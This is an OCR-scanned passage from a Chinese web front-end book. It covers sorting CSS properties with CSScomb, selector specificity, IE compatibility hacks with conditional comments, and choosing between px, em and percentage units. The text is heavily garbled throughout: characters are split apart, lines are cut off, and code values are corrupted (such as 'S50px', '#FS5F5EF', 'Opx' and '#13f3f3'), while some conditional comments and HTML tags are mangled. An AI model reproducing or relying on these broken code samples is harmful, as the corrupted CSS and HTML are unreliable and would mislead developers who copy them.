下 面 可 以 比较 一 下 排序 的 实际 效果 。 图 6-6 是 排序 前 的 代码 片段 。 





口 ,Lab-~container { 
display: inline-block; 
padding: 10px 50px; 
margin:0 auto; 
border-radius: 8px; 
text-align: left; 
background:#F5F5EF; 
color: #515348; 


[Shs 
.Lab-header { 
background: #f3f3f3; 


background: -moz-~Linear-gradient(Left，#e2e2e2 0%, #f3f3f3 50%, #e2e2e2 100%); 

background: -webkit-gradient(Linear，Left top, right top, color-stop(0%, #e2e2e2), color-stop(50%, #f3f3f3), cola 
background: ~webkit-linear-gradient(left, #e2e2e2 0%, #f3f3f3 50%, #e2e2e2 100%) ; 

background: -0-linear-gradient (Left, #e2e2e2 0%, #f3f3f3 50%, #e2e2e2 100%) ; 

background: -ms-linear-gradient (left, #e2e2e2 0%, #f3f3f3 50%, #e2e2e2 100%); 

background: linear-gradient(left, #e2e2e2 0%, #f3f3f3 50%, #e2e2e2 100%); 

position: fixed; 

width: 100%; 

top: 0; 

z-index: 10;| 











图 6-6 ”排序 前 的 示例 样式 代码 片段 








图 6-7 是 排序 后 的 代码 片段 。 





口 ,Lab-~container { 
display: inline-block; 


margin:0 auto; 
padding: 10px S50px; 


text-align: left; 


color: #515348; 
border-radius: 8px; 
background:#FS5F5EF; 


QF 

口 ,Lab-header { 
position: fixed; 
z-index: 10; 
top: 0; 


width: 100%; 


background: #f3f3f3; 

background: -moz-Linear-gradient(Left，#e2e2e2 0%, #f3f3f3 50%, #e2e2e2 100%); 

background: -webkit-gradient(Linear，Left top, right top, color-stop(0%, #e2e2e2), color-stop(50%, #f3f3f3), co 
background: -webkit-linear-gradient(left, #e2e2e2 0%, #f3f3f3 50%, #e2e2e2 100%); 

background: -~o-linear-gradient (left, #e2e2e2 0%, #f3f3f3 50%, #e2e2e2 100%); 

background: -ms-Linear-gradient(Left，#e2e2e2 Qs%, #f3f3f3 50%, #e2e2e2 100%); 

background: linear-gradient (Left, #e2e2e2 0%, #13f3f3 50%, #e2e2e2 100%); 
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图 6-7 示例 样式 代码 经 过 CSScomb 排 序 后 的 效果 
可 以 看 到 ， 在 排序 后 ， 不 只 是 样式 定义 的 顺序 改变 了 ， 每 个 分 组 之 间 还 用 了 一 个 空 行 分 隔 。 
总 结 以 上 介绍 的 CSS 排 序 实践 ， 可 以 归纳 为 如 下 4 点 : 
“ 对 CSS 样 式 排序 。 
“ 推荐 按 样 式 属性 功能 分 组 排序 。 
“ 推荐 在 CSS 样 式 代码 编写 完成 并 准备 嵌入 的 时 候 排序 。 
“ 使 用 如 CSScomb 等 工具 排序 。 


[1] http:/ /fordinteractive.com/2009/02/order-of-the-day-css-properties 


[2] http://csscomb.com 


6.4 ”合理 利用 CSS 的 权重 : 提高 代码 的 重用 性 


什么 是 CSSs 的 权重 ?在 面试 前 端 工程 师 时 ， 我 特别 喜欢 问 这 个 问题 。 这 是 一 个 很 基础 的 问题 ， 如 果 前 端 工程 师 没有 深刻 理解 这 个 概念 ， 则 很 难 写 出 高 质量 的 CSS 代 码 。 可 惜 的 是 ， 在 面试 过 程 中 ， 没 有 理 
解 CSS 权 重 概念 的 大 有 人 在 。 





讨论 Css 的 权重 ， 则 必须 先 说 说 CSS 样 式 的 6 种 基础 选择 器 : ID 选择 器 (如 #reader title{}) 、 类 选择 器 (如 .reader-titlef}) 、 属 性 选择 器 (如 a[href="http:www.w3.org"] 人 }) 、 伪 类 和 伪 对 象 选择 器 
(如 :hoverf}::afterf}) 、 标 签 类 型 选择 器 (如 a{}) 以 及 通 配 选择 器 (如 body*{}) 。 所 有 在 CSS 样 式 中 定义 的 选择 符 都 是 由 这 6 种 基础 选择 符 组 合 而 成 的 ， 组 合 的 方式 也 分 为 三 种 : 后 代 选 择 符 
(如 .reader.title{}) 、 子 选择 符 (如 .reader>.titlef}) 和 相 邻 选择 符 (如 .reader+ .title{}) 。 





CSS 权 重 指 的 是 这 些 选 择 符 的 优先 级 ， 优 先 级 高 的 CSS 样 式 会 覆盖 优先 级 低 的 样式 ， 优 先 级 越 高 说 明 权重 越 高 ， 反 之 亦 然 。 计 算 CSS5 的 权重 是 有 一 定 的 规则 的 。 根 据 W3C 制 定 的 CSS 规 范 ，CSS 权 重 是 通 








过 如 下 规则 计算 的 : 


1) 计算 选择 符 中 的 ID 选择 器 的 数量 (=a) 。 





2) 计算 选择 符 中 的 类 选择 器 、 属 性 选择 器 以 及 伪 类 选择 器 的 数量 (=b) 。 





3) 计算 标签 类 型 选择 器 和 伪 对 象 选 择 器 的 数量 (=c) 。 





4) 忽略 全 局 选择 器 。 





























按照 规则 ， 基 础 选择 器 具有 这 样 的 优先 级 : 





1D> 类 | 伪 类 | 属性 选择 > 标签 类 型 | 伪 对 象 > 通配符 











Man 














分 别 计算 a、b、c 的 值 后 ， 按 顺序 连接 a、b、c 三 个 数字 组 成 一 个 新 数值 ， 此 新 数值 即 为 所 计算 的 选择 符 的 权重 。 举 例如 下 (例子 摘自 W3C 官 方 文档 ) : 











* /* a=0 b=0 c=0 -> 权重 = 0*/ 
LI /* a=0 b=0 c=1 -> 权重 = 1*/ 
UL LI /* a=0 b=0 c=2 -> 权重 = 2 */ 
UL OL+LI /* a=0 b=0 c=3 -> 权重 3 SA 
Hl + *[REL=up] /* a=0 b=1 c=1 
UL OLLI.red  /* a=0 b=1 c=3 
LI.red.level /* a=0 b=2 c=1 
#x34y /* a=l1 b=0 c=0 
#s12:not (FOO) /* a=l1 b=0 c=1 






































如 果 两 个 选择 符 的 权重 相同 ， 则 可 依照 “就 近 原 则 ”来 判断 ， 最 后 定义 的 选择 符 会 被 采用 。 但 要 尽量 避免 出 现 这 种 依靠 定义 的 顺序 决定 选择 符 优先 级 的 情况 ， 因 为 在 后 续 的 维护 中 很 难保 证 定义 的 顺序 

















不 会 被 打 乱 。 












































明白 了 CSS 选 择 符 的 权重 后 ， 接 着 讨论 如 何 依照 选择 符 的 权重 定义 合适 的 选择 符 。 定 义 选择 符 的 原则 是 尽量 使 选择 符 的 权重 低 ， 目 的 是 保证 样式 在 应 用 于 多 个 元 素 时 容易 被 覆盖 ， 这 可 提高 样式 代码 的 




































































性 和 可 维护 性 。 以 下 是 一 些 具体 的 原则 。 









































(1) CSs 样 式 中 尽量 不 要 使 用 ID 选择 器 










































































按照 规范 ， 一 个 页 面 中 不 允许 有 两 个 相同 的 ID， 如 果 使 用 了 ID 选择 器 就 意味 着 此 样式 只 作用 于 一 个 元 素 ， 该 样式 就 没有 办 法 重用 于 其 他 的 元 素 。 更 重要 的 一 点 ，1D 选 择 器 具有 很 高 的 权重 ， 如 果 要 履 











































































使 








了 ID 选择 器 的 样式 ， 就 必须 在 原先 使 用 ID 选择 器 的 基础 上 添加 新 的 选择 符 (类 选择 器 或 者 标签 类 型 选择 器 ) 或 者 使 用 ! important， 但 这 样 做 的 结果 是 无 法 重用 的 样式 代码 会 越 来 越 多 。 举 个 例子 : 





























<style type="text/css"> 
#test{ 
font-size:40px; 


#test span { 
color: #CCC; 
} 
</style> 
<div ig="test"> 这 是 一 段 <span> 重 要 的 文字 </span>， 请 <span> 不 要 删除 。</span></div> 











这 个 时 候 ， 如 果 想 把 “不 要 删除 ”这 几 个 字 标识 为 红色 ， 则 可 能 会 写 这 样 的 代码 : 


<style type="text/css"> 
#test{ 
font-size:40px; 
} 
#test span { 
color: #CCC; 


.important { 
color: #F00; 


} 
</style> _ 
<div id="test"> 这 是 一 段 <span> 重 要 的 文字 </span>, 请 <span class="important"> 不 要 删除 。</span></div> 



































但 在 浏览 器 中 测试 发 现 ， 这 4 个 字 并 没有 变 成 红色 ， 为 什么 呢 ? 因 为 新 加 的 important 类 选择 器 权重 低 。 选 择 符 #est span 组 合 的 权重 为 101， 而 .important 的 权重 为 10， 起 作用 的 还 是 选择 符 #test 








span。 











冒 | 


如 果 要 让 “不 要 删除 ”这 4 个 字 为 红色 ， 只 能 提高 .important 样 式 的 权限 。 有 以 下 两 种 方式 可 提高 选择 符 的 权重 


/* 方式 1: 添加 ID 选择 符 */ 
#test .important { 
Color: #F00; 


} 

/* 方式 2: 选择 important 关 键 字 */ 

.important { 
color: #F00 !important; 

} 


















































方式 1 使 得 样式 无 法 继续 重用 ,方式 2 的 权重 最 高 ， 无 法 再 被 覆盖 ， 这 两 种 方式 都 不 是 好 的 方式 。 因 为 基础 的 样式 使 用 权重 较 高 的 选择 符 ， 所 以 导致 后 续 为 了 覆盖 基础 样式 只 能 选择 更 高 权重 的 选择 符 。 













































































最 佳 的 实践 是 尽 可 能 使 用 较 低 权重 的 选择 符 作 为 基础 样式 。 对 于 上 面 的 示例 ， 其 实 可 以 在 基础 选择 符 中 使 用 类 选择 器 而 不 是 1D 选择 器 ， 如 下 : 


























<style type="text/css"> 
.test{ 
font-size:40px; 


.test span { 
color: #CCC; 

} 

span.important { 
color: #F00; 


} 
</style> 


(2) 减少 子 选择 器 的 层级 
































减少 选择 器 的 层级 的 过 程 也 是 降低 选择 符 整体 权重 的 过 程 。 同 时 ， 子 选择 器 的 层级 越 少 ， 对 HTML 结 构 的 依赖 就 越 低 。 因 此 ， 在 定义 选择 器 时 ， 应 尽量 让 层级 少 一 些 。 如 果 代 码 中 出 现 子 选择 器 层级 过 





























多 的 状况 ， 大 多 是 因为 样式 代码 整体 的 结构 混乱 。 在 向 其 中 一 个 模块 添加 样式 时 ， 为 了 避免 样式 “污染 ”其 他 模块 ， 就 会 添加 额外 的 父 选择 器 来 限定 样式 的 作用 域 。 


样式 代码 。 在 使 用 这 两 个 工具 时 ， 还 是 要 尽量 让 选择 器 的 层级 少 ， 把 通用 的 样式 尽量 提取 出 来 ， 保 证 代码 的 最 大 量 重用 。 












































可 以 很 方便 地 管理 CSS 选 择 符 的 层级 关系 ， 但 并 不 是 说 非 要 按照 HTML 结 构 层 级 关系 写 对 应 的 CSS 








CSS 选 择 器 层级 过 多 的 另 一 个 “罪魁 祸首 ”是 Sass 和 Less 等 工具 的 滥用 。Sass 和 Less 是 非常 好 的 工 

















































































































(3) 使 用 组 合 的 CSS 类 选择 器 























使 用 CSS 选 择 器 组 合 的 方式 ， 开 发 者 可 以 不 用 考虑 CS 样式 覆盖 的 问题 ， 避 开 了 计算 选择 符 权 重 的 过 程 ， 同 时 也 提高 了 代码 的 重用 性 。 先 来 说 说 这 一 实践 的 由 来 。 


























这 一 概念 来 自 于 面向 对 象 编程 的 一 条 原则 : “多 组 合 ， 少 继承 ”。 继 承 的 概念 是 依照 需求 来 抽象 一 个 包含 几乎 所 有 的 方法 和 属性 的 父 类 ， 定 义 的 各 子 类 继承 此 父 类 ， 并 且 根据 自身 需求 添加 新 的 方法 和 
属性 ， 或 者 覆盖 与 父 类 有 逻辑 差异 的 方法 和 属性 。 继 承 的 缺点 是 : 如 果 有 任何 一 点 新 的 变化 ， 并 且 无 法 用 现 有 的 类 实例 化 新 的 需求 ， 则 需要 重新 定义 一 个 子 类 ， 如 果 处 理 不 当 ， 就 会 导致 类 的 爆炸 式 增长 。 
不 过 ， 这 个 缺点 可 以 用 组 合 的 方式 避免 。 组 合 的 概念 是 把 一 个 复杂 的 父 类 中 的 可 变 部 分 和 稳定 部 分 分 割 开 来 ， 把 稳定 部 分 作为 主体 类 ， 至 于 可 变 部 分 ， 则 按照 逻辑 分 为 几 个 简单 的 类 ， 类 与 类 之 间 没 有 继承 
关系 。 这 些 容易 变化 的 类 的 实例 设置 为 主体 类 的 属性 ， 从 而 实现 了 类 的 组 合 。 使 用 组 合 的 好 处 是 减少 了 类 的 数量 。 面 向 对 象 编程 中 的 这 一 编程 原则 也 可 以 用 在 CSS 代 码 的 编写 中 ， 在 这 里 它 同样 可 以 起 到 提 
高 代码 重用 性 的 作用 。 在 上 面 的 例子 中 ， 不 变 的 样式 是 文字 的 字体 尺寸 ， 可 变 的 是 文字 的 颜色 ， 下 面 以 此 设计 思想 重新 定义 了 3 个 样式 。 






































<style type="text/css"> 
‘test{ 
font-size:40px; 





.common { 
color: #CCC; 

} 

.important { 
color: #F00; 


} 
</style> a 
<div id="test" class="test"> 这 是 一 段 <span class="common"> 重 要 的 文字 </span>， 请 <span class="important"> 不 要 删除 。</span></div> 























比较 之 前 的 方案 ， 这 种 方案 的 好 处 是 CSS 样 式 中 的 选择 符 没有 依赖 HTML 代 码 结构 ， 代 码 容易 重用 和 扩展 。 这 种 组 合 的 方式 用 在 很 多 前 端 框架 中 ， 比 如 YUI、ExtJS 等 。 图 6-8 是 ExtJS 框 架 生 成 的 HTML 代 
码 片段 ， 可 以 看 到 元 素 上 挂 载 了 多 个 CSS 类 。 


<body id="ext-gen1@18" class="x-body x-gecko x-mac x-border-layout-ct x-border-box x-container x-container-default"> 
<div id="msg-div"> </div> 
<div id="app-header" class="x-container x-border-item x-box-item x-container-default x-box-layout-ct" style="height: S52px; right: auto; left: Opx; 
top: Opx; margin: Opx; width: 1392px;"> 
<div id="navigation-1011" class="x-panel x-autowidth-table x-grid-no-row-lines x-grid-header-hidden x-border-item x-box-item x-panel-default 
x-tree-panel x-tree-arrows x-grid” style="width: 250px; height: 726px; right: auto; left: Opx; top: S2px; margin: Opx;"> 
<div id="navigation-1011-splitter" class="x-splitter x-border-item x-box-item x-splitter-defoult x-splitter-vertical x-unselectable"” style="width: 
Bpx; height: 726px; right: aouto; left: 250px; top: S2px; margin: Opx;"> 
<div id"="content-panel”" class="x-panel x-border-item x-box-item x-panel-default" style="right: auto; left: 258px; top: S2px; margin: Q@px; height: 
726px; width: 876px; "> 
> <div id="content-panel_header" class="x-panel-header x-header x-header-horizontal x-docked x-unselectable x-panel-header-default x-horizontal 
x-panel-header-horizontal x-panel-header-default-horizontal x-top x-panel-header-top x-panel-header-default-top x-horizontal-noborder x-panel- 
header -horizontal -noborder x-panel-header-defoult-horizontal -noborder x-docked-top x-panel-header-docked-top x-panel-header -defaoult-docked-top 
x-noborder-trl" style»="right: auto; left: Opx; top: Opx; width: 876px; "> 
VV <div id=-"content-pane1-body" class="x-panel-body x-panel-body-default x-panel-body-default x-noborder-trbl" style="overflow: outo; width: 876px 
height: 690px; left: Bpx; top: 36px;"> 
<span id="content-panel-outerCt" style="display: table; width: 100%; height: 100%;"> 
bp <div id="content-panel-innerCt" class="" style="display:table-cell;height:100%;vertical-align:top;"> 
</spar> 
</div> 
</div> 
<div idm"east-region-splitter" class="x-splitter x-border-item x-box-item x-splitter-default x-splitter-vertical x-unselectable" style="width: 8px; 
height: 726px; right: auto; left: 1134px; top: S2px; margin: Opx;"> 
<div id="east-region-splitter-collapseEl" class="x-collapse-el x-layout-split-right"> </div> 
</div> 
bp <div ids"east-region" class="x-panel x-border-item x-box-item x-panel-default" style="width: 250px; height: 726px; right: auto; left: 1142px; top: 
S2px; margin: Opx;"> 
> <div id=-"ext-quicktips-tip" class="x-tip x-layer x-tip-default x-border-box” style="display: none;"> 
</bod 








6-8 ”ExtJS 框 架 生成 的 HTML 代 码 片段 











6.5 “SS 代码 的 兼容 性 : 如 何 兼 容 上 浏览 























让 CSSs 样 式 更 好 地 兼容 上 浏览 器 一 直 是 前 端 开 发 需要 关注 的 事情 。 在 主流 浏览 器 中 ，|E 浏 览 器 给 前 端 开发 人 员 留 下 的 印象 一 直 不 太 好 ， 尤 其 是 IE 8 及 以 下 版 本 浏览 器 ， 尽 管 IE 10 和 IE 11 已 经 缩小 了 和 其 
他 浏览 器 在 某 些 方面 的 差距 ， 但 老 旧 IE 浏览 器 依然 有 着 很 高 的 占有 率 。 这 种 局 面 和 IE 浏览 器 的 升级 机 制 有 很 大 的 关系 ， 其 他 高 级 浏览 器 都 有 很 好 的 自动 升级 机 制 ， 但 IE 浏览 器 不 会 主动 为 客户 升级 浏览 器 ， 除 
非 手动 安装 新 浏览 器 。 这 就 造成 了 大 量 用 户 依然 在 使 用 旧版 本 浏览 器 。 自 然 ， 前 端 开 发 就 必须 要 考虑 如 何 兼 容 这 些 旧 版 本 的 浏览 器 了 。 那 些 为 了 兼容 旧版 浏览 器 而 添加 的 额外 代码 ， 被 称 为 hack 代 码 。 相 信 
大 部 分 前 端 程序 员 都 不 愿意 写 hack 代 码 ， 因 为 hack 代 码 不 易 理解 且 维 护 困 难 。 很 多 经 历 过 这 种 痛苦 的 前 辈 们 也 总 结 了 一 些 与 浏览 器 兼容 相关 的 最 佳 实践 ， 期 望 能 减轻 新 手 们 的 痛苦 ， 以 下 是 兼容 |E 浏 览 器 的 
一 些 实践 方法 。 


























(1) 熟悉 IE 浏览 器 中 常见 的 样式 兼容 问题 








有 兼容 问题 的 1E 浏 览 器 主要 集中 在 IE 8 及 以 下 版 本 中 ， 尤 其 是 IE 6。 目 前 ， 随 着 IE 6 逐渐 退出 历史 舞台 ， 可 以 考虑 不 兼容 IE 6 了 ， 但 因为 IE 8 和 IE 7 浏览 器 在 国内 还 有 一 定 的 占有 率 ， 所 以 有 必要 熟悉 在 这 
两 个 浏览 器 下 常见 的 样式 兼容 问题 。|E 浏 览 器 下 的 兼容 问题 一 般 分 为 两 类 ， 一 类 是 浏览 器 本 身 的 Bug， 另 一 类 是 和 标准 不 兼容 ， 或 者 不 支持 标准 。 浏 览 器 本 身 的 Bug 比 较 少 ， 重 点 是 不 兼容 或 者 不 支持 的 特 
性 ， 这 类 问题 比较 多 。 有 关 |E 浏 览 器 的 样式 兼容 性 问题 ， 已 经 有 很 多 图 书 或 者 网 络 上 的 内 容 可 以 参考 ， 这 里 推荐 一 篇 文章 []， 其 中 列 出 了 9 种 在 |E 中 常见 的 兼容 问题 。 























(2) 分 离 样式 兼容 代码 


一 般 样 式 hack 方 法 包括 选择 器 的 hack 和 样式 属性 的 hack， 大 部 分 hack 代 码 都 是 复杂 难 懂 的 。 如 下 是 一 个 完整 的 |E 浏 览 器 hack 的 方式 站: 











/* 选择 器 的 hack */ 

/* IE 6 及 以 下 版 本 */ 

* html .selector {} 

/* IE 7 及 以 下 版 本 */ 
.selector, {} 

J TB 

*:first-childthtml .selector {} 
.Selector, x:-IE7 {} 

*+html .selector {} 

/* 除了 IE 6 */ 

html > body .selector {} 

/* 除了 IE 6/7 */ 

html > /**/ body .selector {} 
head ~ /* */ body .selector {} 
/* 除了 IE 6/7/8 */ 


:root *> .selector {} 

body:last-child .selector {} 

body:nth-of-type (1) .selector {} 

body:first-of-type .selector {} 

/* 着 式 属性 的 back */ 

/* JE 6 */ 

.Selector { -color: blue; } 

/* IE 6/7 - 和 以 下 字符 的 组 合 : 
本 
.Selector { !color: blue; } 
.Selector { $color: blue; } 
.Selector { &color: blue; 
.Selector { *color: blue; 


/* http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/0EBPS/Text/... */ 


/* IE 6/7 - 类 似 !important */ 
.Selector { color: blue !ie; } 
ni 
.Selector { color: blue\0/; } 
je TB /10 *y 


.Selector:nth-of-type (ln) { color: blue\9; } 


/* IE 6/7/8/9/10 */ 

.Selector { color: blue\9; } 
.Selector { color/*\**/:; blue\9; } 
/* 除了 IE 6 */ 


.Selector { color/**/: blue; } 























之 所 以 要 使 用 如 上 的 这 些 “ 丑 陋 ” 而 难以 维护 的 hack 方 法 ， 是 为 了 让 不 同 浏览 器 能 应 用 不 同 的 样式 。 这 些 技巧 为 后 期 的 维护 留 下 了 隐患 ， 除 了 难以 理解 之 外 ， 最 重要 的 是 当 未 来 某 个 时 期 不 再 支持 某 个 
旧版 本 的 浏览 器 时 ， 很 难 移 除 这 些 兼 容 代码 。 因 此 ， 最 佳 的 做 法 是 集中 管理 兼容 代码 。 在 上 E 浏 览 器 中 可 以 使 用 条 件 注 释 ， 让 不 同 浏览 器 加 载 不 同 的 样式 文件 以 达到 兼容 代码 和 正常 代码 分 离 的 目的 。 例 如 : 


























<link rel="stylesheet" media="screen" href="css/style.css" /> 
<!I--[if IE 8]><link rel="stylesheet" media="screen" href="css/ie8.css" />< ![endif]--> 
<!--[if IE 7]><link rel="stylesheet" media="screen" href="css/ie7.css" />< ![endif]--> 























以 上 示例 代码 中 ， 分 别针 对 IE 8 和 IE 7 添加 了 不 同 的 样式 兼容 文件 ie8.css 和 ie7.css。 当 使 用 IE 8 浏览 器 时 ，ie8.css 文 件 会 被 加 载 ， 并 且 针 对 IE 8 的 兼容 样式 会 被 浏览 器 解析 。 同 理 ， 当 使 用 IE 7 浏览 器 


时 ，ie7.css 文 件 会 被 加 载 和 解析 。 
































为 了 提高 兼容 样式 的 优先 级 ， 可 以 在 根 元 素 (<html> 或 者 <body> 元 素 ) 上 针对 不 同 的 浏览 器 添加 不 同 的 样式 类 ， 示 例 代码 如 下 : 


<l==[i£ TE 7]> <html class="ie7"> <![endif]--> 
<!l——[if TE 8]> <html class="ie8"> <! [endif]--> 




















六 一 [二 gt IE 8]><!-——> <html> «l=——<! [endif]——> 























当 使 用 IE 8 时 ， 在 <html> 元 素 上 添加 了 名 称 为 je8 的 类 ， 当 使 用 IE 7 浏览 器 时 ， 在 <html> 元 素 上 添加 了 名 称 为 ie7 的 类 ， 这 样 在 样式 中 就 可 以 针对 不 同 的 类 添加 不 同 的 样式 了 ， 例 如 : 


.footer { color: inherit;} 
.ie7 .footer { color: #f00; } /* 兼容 IE 











7 的 样式 */ 








.ie8 .footer { color: #0f0; } /* 兼容 IE 


8 的 样式 */ 


[1] http://code.tutsplus.com/tutorials/9-most-common-ie-bugs-and-how-to-fi x-them--net-7764 


[2] http://browserhacks.com/#ie 


6.6 em、px 还 是 % 








页 面 元 素 的 尺寸 长度、 宽度 、 内 外 边 距 等 
页 

















增加 























) 以 及 页 面 字体 的 大 小 是 和 页 面 整体 布局 息息相关 的 ， 而 页 面 布局 的 方式 又 是 多 种 多 样 的 。 因 此 ， 如 果 没有 合理 地 设置 页 面 元 素 尺寸 以 及 字体 的 大 小 ， 就 会 























面 布局 的 复杂 性 ， 也 会 使 得 页 面 布 局 维护 变 得 困难 ， 还 会 使 页 面 的 扩展 性 和 使 用 平台 受到 限制 。 尤 其 是 随 着 页 面 功 能 变 得 越 来 越 多 ， 以 及 页 面 的 访问 设备 越 来 越 多 ， 页 面 布局 相关 的 维护 的 问题 就 会 






































变 得 更 加 突出 。 鉴 于 此 ， 前 端 开发 者 也 开始 重视 如 何 提高 页 面 布 




















于 父 元 素 的 ， 随 着 父 元 素 的 改变 而 改变 ， 比 如 父 元 素 的 


























局 了 ， 他 们 总 结 了 一 些 相关 的 最 佳 实践 ， 其 中 核心 的 思想 是 将 页 面 元 素 的 尺寸 和 字体 大 小 设置 为 相对 值 ， 即 元 素 的 尺寸 及 字体 的 大 小 是 相对 















































宽度 增 大 一 倍 ， 那 么 子 元 素 的 宽度 也 会 增 大 一 倍 。 要 做 到 这 一 点 ， 就 必须 设置 元 素 大 小 的 单位 为 相对 单位 ， 或 者 把 值 设 置 为 百分比 。 














先 简单 介绍 一 下 “相对 单位 ”的 概念 。W3C 官 方 文档 主要 把 尺寸 单位 分 为 相对 长 度 单位 和 绝对 长 度 单位 两 种 。 相 对 长 度 单位 在 定义 长 度 时 是 相对 于 其 他 长 度 的 ， 它 又 分 为 字体 相对 单位 和 视窗 相对 单位 
(viewport-percentage) ， 字 体 相对 单位 包括 : em、ex、ch、rem， 视 窗 相对 单位 包括 : vww、vh、vmin 及 vmax。 绝 对 长 度 单位 定义 的 长 度 是 固定 的 ， 使 用 的 是 物理 度量 单位 ,包括 : cm、mm、in、 






















































































px、Ppt 及 pc。 具 体 每 种 单位 的 含义 可 参考 W3C 的 官方 文档 中。 在 以 上 定义 的 单位 中 ， 使 用 最 广泛 的 相对 长 度 单位 和 绝对 长 度 单位 分 别 是 em 和 px， 再 加 上 百分比 (%) 值 ， 就 成 为 了 使 用 最 广泛 的 三 种 尺寸 








和 字体 大 小 设置 方式 。 


(1) px 




















px 是 Pixel 的 缩写 ， 表 示 像 素 。 像 素 是 显示 器 上 显示 的 一 个 个 小 点 ， 在 显示 器 上 显示 的 所 有 东 





设置 为 绝对 尺寸 。 
(2) em 





























3 


都 是 以 像素 的 形式 呈现 的 。 因 为 显示 器 上 的 每 个 像素 点 都 是 同等 大 小 的 ， 所 以 以 像素 为 计量 单位 则 等 同 于 






































em 是 个 相对 单位 ， 等 同 于 元 素 上 计算 的 字体 大 小 值 ， 比 如 2em 表 示 的 大 小 等 同 于 所 应 用 元 素 上 字体 大 小 的 两 倍 。 





(3) 百分比 








相 较 于 em， 百 分 比 (%) 是 个 更 纯粹 的 相对 计算 方式 ， 是 相对 于 父 元 素 尺寸 来 计算 的 。 例 如 ， 父 元 素 的 宽度 为 50px， 子 元 素 的 宽度 若 设置 为 50%， 表 示 子 元 素 的 实际 宽度 为 25px。 很 多 新 手 会 分 不 清 


楚 百 分 比 和 em 这 两 个 概念 ，em 的 计算 是 相对 于 


<style type="text/css"> 
body { 
width: 100px; 
border: 1lpx solid #ccc; 
} 
.testl { 
font-size: 16px; 
width:2em; 
border: 1lpx solid red; 
} 
.test2 { 
font-size: 16px; 
width: 200%; 
border: lpx solid red; 
} 
</style> 
<body> 
这 是 pody 
<div class="test1"> 长 度 为 2em</gdiv> 
<div class="test2"> 长 度 为 200%</div> 














自身 元 素 的 字体 











寸 的， 而 百分比 是 相对 于 父 元 素 的 尺寸 的 ， 举 个 例子 : 


</body> 


长 度 设 置 为 2em 的 元 素 本 身 的 字体 大 小 为 16px， 此 元 素 的 实际 长 


所 示 。 



































度 为 32px; 长 度 设 置 为 200% 的 元 素 ， 其 父 元 素 也 就 是 body 元 素 的 宽度 为 100px， 此 元 素 的 实际 长 度 为 200px。 实 际 显 示 效 果 如 


6-9 














图 6-9 ”示例 在 浏览 器 中 的 泻 染 效果 
































从 技术 角度 来 说 ， 以 上 六 








种 尺寸 单位 都 可 以 








于 设置 元 素 











寸 和 字体 大 小 ， 这 也 就 带 来 了 元 素 样式 设置 上 的 混乱 。 假 设 一 个 页 























面 中 的 元 素 尺寸 既 有 使 











px 设置 的 ， 也 有 使 











em 和 9% 设 置 的 ， 当 


求 把 































































































































































































页 面 上 某 个 元 素 的 尺寸 增 大 一 倍 时 ， 此 元 素 的 子 元 素 尺 寸 肯定 要 重新 设置 。 由 于 之 前 元 素 尺 寸 设置 方式 不 同 ， 因 此 在 设置 过 程 中 还 要 计算 相对 值 对 应 的 实际 页 面 显示 的 值 ， 以 便 协 调 元 素 之 间 的 重新 布局 。 
维护 类 似 这 样 的 页 面 的 成 本 是 很 大 的 ， 那 么 应 该 如 何 设置 元 素 的 尺寸 和 字体 的 大 小 ， 从 而 达到 最 佳 的 可 维护 性 呢 ? 下 面 列 出 了 几 个 最 佳 实践 。 

(1) 尽量 设置 相对 尺寸 

所 谓 的 设置 相对 尺寸 ， 并 不 是 说 页 面 整体 的 布局 是 自 适应 的 。 页 面 整体 的 尺寸 可 以 是 固定 尺寸 也 可 以 是 自 适 应 的 尺寸 ， 这 取决 于 页 面 的 设计 ， 和 页 面 的 可 维护 性 无 关 。 这 里 重点 指出 的 是 局 部 的 元 素 
寸 要 尽量 使 用 相对 尺寸 ， 即 局 部 自 适应 ， 这 样 当 整体 模块 的 尺寸 更 改 时 就 不 需要 更 改 模块 内 部 子 模块 的 尺寸 了 。 下 面 来 看 一 个 Time 网 站 由 上 的 实际 应 用 例子 。 









































Time 网 站 上 有 如 











6-10 所 示 的 一 个 新 闻 模 块 。 

















Sorm.Emma Watson, but 
HaForshe i Rottan tor Mean 


9Rules For Emaling From Google 
Exac Eric Schmidt 


Tme-Outs re Hurtne YOUr Chid 


USLed Planes Strike FlEhters 
Mtacking Syria Town 


9 Ugly Lessons Ahout Sex From Big 
Data 


The IPhone 6Unes Werent 
Actualy Filad With the 'Chinese 
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图 6-10 ”Time 网 站 新 闻 模 块 显示 效果 图 





这 是 一 个 并 不 复杂 的 布局 ， 整 体 左右 两 栏 ， 左 边栏 又 分 为 上 下 两 栏 ， 左 下 模块 又 平分 为 左右 两 个 小 模块 ， 以 下 是 对 应 的 样式 。 





整体 左右 两 栏 的 宽度 设置 : 





<style> 

.featured-photography { 
width: 65.71815718%; 
margin-right: 2.7100271%; 
float: left; 

} 

‘trending-stories { 
width: 31.43631436%; 
float: right; 


} 

</style> 

<div class="group"> 
<section class="featured-photography"> 
</section> 
<section class="trending-stories"> 
</section> 

</div> 





左右 模块 的 宽度 都 使 用 了 百分比 设置 ， 并 且 左 边 的 模块 使 用 了 百分比 设置 了 边 距 。 左 右 模块 的 宽度 加 上 左 模块 设置 的 边 距 之 和 接近 于 百分之百 。 


左下 模块 中 等 宽 的 两 个 模块 的 宽度 设置 如 下 : 





<style> 

.featured-photography .photo { 
float: left; 
width: 47.83505155%; 
margin-left: 4.12371134%; 
Color: #333; 


} 
.featured-photography .photo:first-child { 
margin-left: 0; 
} 
</style> 
<section class="featured-photography module"> 
<header class="primary-photo"> 
</header> 
<div class="secondary-photos"> 
<div class="photo"></div> 
<div class="photo"></div> 
</div> 
</section> 





此 模块 中 等 分 的 两 栏 设 置 了 相同 的 相对 宽度 ， 并 给 非 首 个 元 素 的 子 元 素 设置 了 相对 左边 距 。 两 个 相对 宽度 加 上 左边 距 的 和 也 接近 百分之百 。 


在 按照 以 上 的 样式 设置 了 所 有 子 模块 的 宽度 后 ， 当 模块 的 外 框 宽度 变化 时 ， 内 部 模块 的 宽度 也 会 随 着 外 框 宽度 的 变化 而 变化 。 这 也 就 意味 着 ， 在 后 续 维护 过 程 中 ， 如 果 更 改 了 外 框 的 宽度 ， 并 不 需要 更 
改 内 部 子 模块 的 宽度 样式 ， 从 而 提高 了 页 面 的 可 维护 性 。 


















































































































































































































































































































































































































































































































































